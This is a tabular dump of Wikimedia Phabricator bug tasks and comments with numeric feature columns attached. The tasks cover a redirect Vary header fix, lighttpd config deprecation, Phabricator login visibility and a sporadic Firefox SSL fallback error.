Bug confirmed in AutoWikiBrowser (5.5.1.3), WikiFunctions (5.5.1.3), revision 9391 (2013-08-09 10:19:33).",,,1431717170,,PHID-USER-4j7xntcqqwei7izzlfnd,False,,,PHID-TASK-ytkfr5krtzfrl6be4oav,task_subcomment,,True,c3,1,True,,,-7,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,2.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,3.6666666666666665,0.6666666666666666,"//[[URL ([[URL talk:Magioladitis|talk]]) 08:52, 9 August 2013 (UTC) wrote://

Bug confirmed in AutoWikiBrowser (5.5.1.3), WikiFunctions (5.5.1.3), revision 9391 (2013-08-09 10:19:33)."
98990,HTTP->HTTPS redirects need to unconditional send Vary header,"HTTP->HTTPS redirects need to unconditional send Vary header instead of only sending it in the redirect case.
E.g. operations/puppet.git/templates/apache/sites/gdash.wikimedia.org.erb
Has: `Header always merge Vary X-Forwarded-Proto env=ProtoRedirect`
But should instead be: `Header always merge Vary X-Forwarded-Proto` (and `,E=ProtoRedirect` from the rewrite rule can be dropped)
Otherwise requesting https://gdash.wikimedia.org will populate the varnish cache also for http://gdash.wikimedia.org which then won't serve the redirect until it is refreshed.

There are probably more instances of this error.",Low,25.0,1431540849,1464730850.0,PHID-USER-mdihg2tyzmlvyhn3h32y,False,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-TASK-7ma7vkyjskxesw3gkkwo,task_description,declined,True,c3,1,True,False,False,-8,True,0.0,0.0,0.0,2.0,1.0,3.0,0.0,0.0,0.0,0.0,6.0,1.0,0.0,1.0,1.0,0.0,1.0,9.0,8.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,1.0,0.0,1.0,0.0,5.0,5.0,14.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,2.0,8.0,3.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,2.0,1.0,0.0,1.0,4.482758620689655,0.7586206896551724,"HTTP->HTTPS redirects need to unconditional send Vary header instead of only sending it in the redirect case.
E.g. operations/puppet.git/templates/apache/sites/gdash.wikimedia.org.erb
Has: CODE
But should instead be: CODE (and CODE from the rewrite rule can be dropped)
Otherwise requesting URL will populate the varnish cache also for URL which then won't serve the redirect until it is refreshed.

There are probably more instances of this error."
671888,HTTP->HTTPS redirects need to unconditional send Vary header,Varnish is now doing all the redirects directly rather than the applayer.,,,1464730850,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-7ma7vkyjskxesw3gkkwo,task_subcomment,,True,c3,3,True,,,47,True,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,15.0,8.0,8.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.769230769230769,0.9230769230769231,Varnish is now doing all the redirects directly rather than the applayer.
98818,Deprecate #no-default-php in .lighttpd.conf,"Is suggested for use by people who don't want lighttpd to load up php by default. We should just migrate these folks to more specific-to-their-toolset servers, or provide a no-php variant of lighttpd. ",Low,25.0,1431397632,1461839004.0,PHID-USER-2nnm76h4ykalvvref2ye,False,PHID-USER-2nnm76h4ykalvvref2ye,False,PHID-TASK-sofnoviahvmyn4ycoyci,task_description,resolved,True,c3,1,True,True,False,-8,True,0.0,0.0,0.0,2.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,7.0,18.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,22.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,4.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,4.0,18.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,3.7333333333333334,0.8,"Is suggested for use by people who don't want lighttpd to load up php by default. We should just migrate these folks to more specific-to-their-toolset servers, or provide a no-php variant of lighttpd. "
653393,Deprecate #no-default-php in .lighttpd.conf,This is done.,,,1461839004,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-sofnoviahvmyn4ycoyci,task_subcomment,,True,c3,3,True,,,43,True,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,25.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.75,1.0,This is done.
647705,Deprecate #no-default-php in .lighttpd.conf,I just converted 'static' to lighttpd-plain and it seems to work well. Should be the same for the rest.,,,1461022798,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-sofnoviahvmyn4ycoyci,task_subcomment,,True,c3,3,True,,,41,True,0.0,0.0,0.0,0.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.0,0.0,8.0,12.0,0.0,4.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,8.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,12.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4,0.84,I just converted 'static' to lighttpd-plain and it seems to work well. Should be the same for the rest.
458993,Deprecate #no-default-php in .lighttpd.conf,"Change 210833 merged by jenkins-bot:
Add lighttpd server types

[[https://gerrit.wikimedia.org/r/210833]]",,,1431639706,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-sofnoviahvmyn4ycoyci,task_subcomment,,True,c3,1,False,,,-7,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,3.736842105263158,0.8947368421052632,"Change 210833 merged by jenkins-bot:
Add lighttpd server types

[[GERRIT_URL]]"
458571,Deprecate #no-default-php in .lighttpd.conf,"Change 210833 had a related patch set uploaded (by Yuvipanda):
Add lighttpd server types

[[https://gerrit.wikimedia.org/r/210833]]
",,,1431563622,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-sofnoviahvmyn4ycoyci,task_subcomment,,True,c3,1,False,,,-7,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,3.875,0.875,"Change 210833 had a related patch set uploaded (by Yuvipanda):
Add lighttpd server types

[[GERRIT_URL]]
"
457352,Deprecate #no-default-php in .lighttpd.conf,"5 tools use this currently:
```
./directory/.lighttpd.conf:#no-default-php
./static/.lighttpd.conf:#no-default-php
./newwebtest/.lighttpd.conf:#no-default-php
./enwp10/.lighttpd.conf:#no-default-php
./kmlexport/.lighttpd.conf:#no-default-php```",,,1431397941,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-sofnoviahvmyn4ycoyci,task_subcomment,,True,c3,1,True,,,-8,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.6666666666666665,0.75,"5 tools use this currently:
``CODE``"
113927,"Add the word ""login"" to all Phabricator pages","It took me 10 minutes to find where to login. I almost gave up. I scrolled up and down the Phabricator task page I happened to be on. I went to the Phabricator home page. I clicked many buttons and links on the page. Finally, I clicked the arrow at the top right, and was able to login. None of the icons at the top of Phabricator pages have tooltips. See related task: T95233 ""Most of the VE editing toolbar buttons are unlabeled icons, which can reduce usability. Some are without tooltips, too."" ",Lowest,10.0,1443428141,1485430148.0,PHID-USER-ebwxbdwkoxprr4cvvjvy,False,PHID-USER-hgn5uw2jafgjgfvxibhh,True,PHID-TASK-sp47zguluuzvvmmqb24z,task_description,duplicate,True,c3,3,False,False,False,12,True,1.5,0.0,0.0,0.0,0.0,5.0,3.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,3.5,0.0,2.5,11.0,1.0,2.5,0.0,0.0,0.0,4.5,0.5,0.0,0.0,1.0,0.0,1.0,3.0,1.5,0.5,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,15.5,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,5.5,3.5,11.5,0.5,2.0,7.5,0.0,0.0,0.0,0.0,4.5,0.0,0.5,0.0,4.0,11.0,3.0,0.0,2.0,0.0,4.0,0.0,1.5,0.0,0.5,1.0,0.0,1.0,0.0,3.726094276094276,0.6518518518518519,"It took me 10 minutes to find where to login. I almost gave up. I scrolled up and down the Phabricator task page I happened to be on. I went to the Phabricator home page. I clicked many buttons and links on the page. Finally, I clicked the arrow at the top right, and was able to login. None of the icons at the top of Phabricator pages have tooltips. See related task: T95233 ""Most of the VE editing toolbar buttons are unlabeled icons, which can reduce usability. Some are without tooltips, too."" "
798139,"Add the word ""login"" to all Phabricator pages","This was fixed in https://secure.phabricator.com/T11096 and deployed on 2017-01-25.
Merging into T87552.",,,1485430134,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-sp47zguluuzvvmmqb24z,task_subcomment,,True,c3,3,True,,,82,True,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,21.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,16.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.1578947368421053,0.8947368421052632,"This was fixed in URL and deployed on 2017-01-25.
Merging into T87552."
549573,"Add the word ""login"" to all Phabricator pages","I also had a few moments of confusion today while trying to log in here - I didn't recognize that top-right icon as a ""login"" icon. I'd support adding a little text ""Login"" label next to this icon. I generally find that labeled icons are more accessible and user-friendly than unlabeled icons, helping a broader variety of users find what they need more quickly. Thanks!",,,1445410746,,PHID-USER-ao22hbgft6xkmald6n5o,False,,,PHID-TASK-sp47zguluuzvvmmqb24z,task_subcomment,,True,c3,3,False,,,15,True,1.0,0.0,0.0,0.0,1.0,9.0,1.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,5.0,0.0,10.0,12.0,0.0,1.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,5.0,4.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,2.0,0.0,0.0,0.0,0.0,1.0,19.0,1.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,5.0,1.0,8.0,4.0,1.0,6.0,0.0,0.0,1.0,0.0,4.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,5.0,0.0,6.0,0.0,1.0,5.0,0.0,4.0,4.0,0.0,0.0,3.825,0.7375,"I also had a few moments of confusion today while trying to log in here - I didn't recognize that top-right icon as a ""login"" icon. I'd support adding a little text ""Login"" label next to this icon. I generally find that labeled icons are more accessible and user-friendly than unlabeled icons, helping a broader variety of users find what they need more quickly. Thanks!"
537009,"Add the word ""login"" to all Phabricator pages",">>! In T113927#1683850, @Timeshifter wrote:
> I suggest spending a few million dollars and creating a new bug filing system based on MediaWiki

Feel free to do that. :) But that might be T29852 instead...",,,1443521009,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-sp47zguluuzvvmmqb24z,task_subcomment,,True,c3,3,True,,,12,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,28.0,0.0,6.0,11.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4444444444444446,0.8888888888888888,"QUOTE
QUOTE

Feel free to do that. :) But that might be T29852 instead..."
536885,"Add the word ""login"" to all Phabricator pages","Every little added step of difficulty and annoyance causes both short and longterm editors to leave Wikipedia, or to edit less. Thus the continuing decline in total monthly edits, and stagnation or decline in the number of active editors. 

I read T87552. I am surprised that no one suggested the obvious; use the word ""login"" instead of an icon. There are many features on many sites that I have stopped using because of this tendency to substitute icons for text links. I just don't have the time to learn and relearn icons and formatting languages. Such as this latest formatting language in these comment forms. Took me long enough to learn a bit about Bugzilla comment formatting. 

I suggest spending a few million dollars and creating a new bug filing system based on MediaWiki formatting. People worldwide would probably use it on many websites. Because MediaWiki markup is understood by millions of people. ",,,1443495781,,PHID-USER-ebwxbdwkoxprr4cvvjvy,False,,,PHID-TASK-sp47zguluuzvvmmqb24z,task_subcomment,,True,c3,3,False,,,12,True,2.5,0.0,0.0,0.5,0.5,8.5,0.5,1.0,0.0,0.0,3.0,0.5,0.0,0.0,0.5,3.0,3.0,4.0,12.5,0.0,2.5,0.0,0.0,0.0,1.5,1.5,0.0,0.0,0.0,0.5,0.0,3.5,1.5,0.5,2.5,0.0,0.0,0.0,0.0,1.0,0.5,0.0,0.0,1.5,0.5,0.5,0.5,0.0,0.0,19.5,0.0,1.5,0.0,0.5,0.0,0.5,0.5,0.5,0.5,0.0,0.5,1.0,0.0,0.0,0.5,0.0,0.0,5.0,1.5,9.0,1.5,4.5,7.5,0.0,0.0,0.0,0.0,5.0,0.0,0.5,0.0,4.0,12.5,2.0,0.0,1.0,0.0,4.0,0.0,0.5,2.0,0.5,2.0,0.5,0.5,0.0,4.436046511627907,0.75,"Every little added step of difficulty and annoyance causes both short and longterm editors to leave Wikipedia, or to edit less. Thus the continuing decline in total monthly edits, and stagnation or decline in the number of active editors. 

I read T87552. I am surprised that no one suggested the obvious; use the word ""login"" instead of an icon. There are many features on many sites that I have stopped using because of this tendency to substitute icons for text links. I just don't have the time to learn and relearn icons and formatting languages. Such as this latest formatting language in these comment forms. Took me long enough to learn a bit about Bugzilla comment formatting. 

I suggest spending a few million dollars and creating a new bug filing system based on MediaWiki formatting. People worldwide would probably use it on many websites. Because MediaWiki markup is understood by millions of people. "
536119,"Add the word ""login"" to all Phabricator pages","Yeah, it's not always obvious to find. I'm tempted to mark this as a duplicate of T87552.

Note that the frontpage provides a prominent link to the ""Phabricator Help"". The first item on that page covers how to create an account.",,,1443430472,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-sp47zguluuzvvmmqb24z,task_subcomment,,True,c3,3,True,,,12,True,0.0,0.0,0.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,6.0,16.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,16.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,14.0,4.0,0.0,16.0,0.0,0.0,0.0,0.0,8.0,2.0,0.0,0.0,4.0,16.0,2.0,0.0,4.0,0.0,4.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,0.0,3.7058823529411766,0.803921568627451,"Yeah, it's not always obvious to find. I'm tempted to mark this as a duplicate of T87552.

Note that the frontpage provides a prominent link to the ""Phabricator Help"". The first item on that page covers how to create an account."
108579,Getting ssl_error_inappropriate_fallback_alert very rarely,"Hello,

every few weeks I get an “ssl_error_inappropriate_fallback_alert” when I try to connect to a Wikipedia. If I reload, the error is gone. So my guess is that one of the servers is not in sync with the others, but it might be something else.
Unfortunately I’m not able to debug it, because I have no further information than the error-page.
Maybe someone else encounters something similar, then he/she can add to this bug.
",Lowest,10.0,1439213687,1464731204.0,PHID-USER-4nukugv22wnc3p6k557t,False,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-TASK-f2lbo3s4jysupqmv5o2f,task_description,resolved,True,c3,3,False,False,False,5,True,2.0,3.0,0.0,1.0,2.0,4.0,2.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,6.0,0.0,11.0,12.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,8.0,1.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,4.0,12.0,4.0,1.0,9.0,0.0,0.0,0.0,0.0,4.0,1.0,1.0,0.0,11.0,12.0,1.0,0.0,0.0,0.0,11.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,3.768421052631579,0.7157894736842105,"Hello,

every few weeks I get an “ssl_error_inappropriate_fallback_alert” when I try to connect to a Wikipedia. If I reload, the error is gone. So my guess is that one of the servers is not in sync with the others, but it might be something else.
Unfortunately I’m not able to debug it, because I have no further information than the error-page.
Maybe someone else encounters something similar, then he/she can add to this bug.
"
671896,Getting ssl_error_inappropriate_fallback_alert very rarely,"Assuming not, re-open if so.",,,1464731204,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-f2lbo3s4jysupqmv5o2f,task_subcomment,,True,c3,3,True,,,47,True,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,2.6666666666666665,1.0,"Assuming not, re-open if so."
654091,Getting ssl_error_inappropriate_fallback_alert very rarely,@DaBPunkt are you still getting the same sporadic error?,,,1461934219,,PHID-USER-wr3pospifdaxghmtobvr,False,,,PHID-TASK-f2lbo3s4jysupqmv5o2f,task_subcomment,,True,c3,3,True,,,43,True,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,5.0,1.0,SCREEN_NAME are you still getting the same sporadic error?
505902,Getting ssl_error_inappropriate_fallback_alert very rarely,"Based on the actual error message, I don't think the issue is coming from our servers in any case.  There are various FF bug reports linked to this error that all say in one way or another it's indicative of a TLSv1.2 failure and attempt to fall back to a lower protocol version.  I'd try to get a packet capture when the failure happens to debug.  That, or try without extensions for a while.  Are you confident that your DNS queries aren't being hijacked by an ISP sporadically?",,,1439299981,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-f2lbo3s4jysupqmv5o2f,task_subcomment,,True,c3,3,True,,,5,True,1.0,0.0,0.0,1.0,1.5,3.5,0.0,0.0,0.0,0.0,1.0,2.5,0.0,0.0,0.5,2.0,0.0,4.5,12.0,0.0,1.5,0.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,0.0,5.5,0.5,0.5,1.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,0.5,0.0,0.0,15.0,1.0,0.5,0.0,0.0,0.0,0.5,1.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,1.0,0.0,0.0,6.5,4.0,7.5,3.5,2.0,8.5,0.0,0.0,0.0,0.0,4.0,0.0,0.5,0.0,4.5,12.0,0.5,1.0,0.0,0.0,4.5,0.0,1.0,4.5,0.0,0.5,1.0,0.0,0.0,3.815422322775264,0.8733031674208145,"Based on the actual error message, I don't think the issue is coming from our servers in any case.  There are various FF bug reports linked to this error that all say in one way or another it's indicative of a TLSv1.2 failure and attempt to fall back to a lower protocol version.  I'd try to get a packet capture when the failure happens to debug.  That, or try without extensions for a while.  Are you confident that your DNS queries aren't being hijacked by an ISP sporadically?"
505897,Getting ssl_error_inappropriate_fallback_alert very rarely,">>! In T108579#1524034, @BBlack wrote:
> @dabpunkt can you provide details on the client software (browser version, OS version, etc?) and any local software that might be interfering (""antivirus"" sorts of things that might intercept browser connections)?

Sure.
OS: Debian Jessie (some Wheezy- and Sketch-packages)
Browser: Iceweasel 31.8.0
Interesting plugins: Disconnect, Adblock, Noscript, Calomel SSL Validation, HTTPS-Everywhere, DNSSEC/TLSA Validator
No antivirus, no desktop-firewall.
IPv6-Connectivity.
",,,1439298690,,PHID-USER-4nukugv22wnc3p6k557t,False,,,PHID-TASK-f2lbo3s4jysupqmv5o2f,task_subcomment,,True,c3,3,False,,,5,True,2.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,41.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,34.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.049180327868853,0.6885245901639344,"QUOTE
QUOTE

Sure.
OS: Debian Jessie (some Wheezy- and Sketch-packages)
Browser: Iceweasel 31.8.0
Interesting plugins: Disconnect, Adblock, Noscript, Calomel SSL Validation, HTTPS-Everywhere, DNSSEC/TLSA Validator
No antivirus, no desktop-firewall.
IPv6-Connectivity.
"
505175,Getting ssl_error_inappropriate_fallback_alert very rarely,"@dabpunkt can you provide details on the client software (browser version, OS version, etc?) and any local software that might be interfering (""antivirus"" sorts of things that might intercept browser connections)?

Possibly related is this Firefox bug report, which talks about possible Bitdefender involvement, and seems to indicate the error is related to some kind of SSLv3 fallback (which our servers definitely don't support): https://support.mozilla.org/en-US/questions/1043677",,,1439215838,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-f2lbo3s4jysupqmv5o2f,task_subcomment,,True,c3,3,True,,,5,True,2.0,0.0,0.0,1.0,1.0,4.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,4.0,7.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,6.0,1.0,0.0,1.0,1.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,22.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,2.0,4.0,9.0,0.0,2.0,9.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,2.0,7.0,2.0,2.0,2.0,0.0,2.0,0.0,5.0,0.0,0.0,1.0,0.0,0.0,2.0,4.617283950617284,0.7530864197530864,"SCREEN_NAME can you provide details on the client software (browser version, OS version, etc?) and any local software that might be interfering (""antivirus"" sorts of things that might intercept browser connections)?

Possibly related is this Firefox bug report, which talks about possible Bitdefender involvement, and seems to indicate the error is related to some kind of SSLv3 fallback (which our servers definitely don't support): URL"
105560,Add a publisher certificate for Windows binaries,"# What is wrong
{F191197}
Window 1
{F191195}
Window 2
{F191192}
Window 3
